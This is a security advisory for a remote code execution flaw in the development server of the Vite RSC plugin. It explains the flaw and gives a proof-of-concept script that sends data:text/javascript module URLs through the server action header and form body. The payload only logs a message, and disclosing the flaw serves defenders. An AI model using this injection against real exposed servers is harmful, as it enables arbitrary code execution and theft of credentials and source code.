Description

Summary Arbitrary Remote Code Execution on development server via unsafe dynamic imports in `@vitejs/plugin-rsc` server function APIs (`loadServerAction`, `decodeReply`, `decodeAction`) when integrated into RSC applications that expose server function endpoints. Impact Attackers with network access to the development server can execute arbitrary JavaScript code with Node.js privileges, allowing them to read/modify files, exfiltrate sensitive data (source code, environment variables, credentials), or pivot to other internal services. While this affects development servers only, the risk increases when using `vite --host` to expose the server on all network interfaces. Details In the example RSC application provided in Proof of Concept, the server handles server function call through API such as `loadServerAction`, `decodeReply`, `decodeAction` with http request's header and body as inputs: https://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/examples/starter/src/framework/entry.rsc.tsx#L42-L47 During development, these API internally relies on dynamic import to load server function module, which allows executing arbitrary module including data url module. https://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/src/rsc.tsx#L19-L24 Proof of Concept The example app is avialable in • https://github.com/vitejs/vite-plugin-react/tree/main/packages/plugin-rsc/examples/starter • https://stackblitz.com/edit/github-rubfqp9k?file=poc.js Reproduction Steps: • Stat development server `vite dev` • Run a following script `node poc.js` • See "REMOTE CODE EXECUTION1" and "REMOTE CODE EXECUTION2" in server console ```js // [poc.js] const payload = { 0: ["$F1"], 1: { id: "data:text/javascript,console.log('REMOTE CODE EXECUTION 1')# " }, }; const fd = new FormData(); for (const key in payload) { fd.append(key, JSON.stringify(payload[key])); } const serverUrl = process.argv[2] || 'http://localhost:5173/_.rsc'; const response = fetch(serverUrl, { method: "POST", headers: { "x-rsc-action": "data:text/javascript,console.log('REMOTE CODE EXECUTION 2')# ", }, body: fd, }) ```
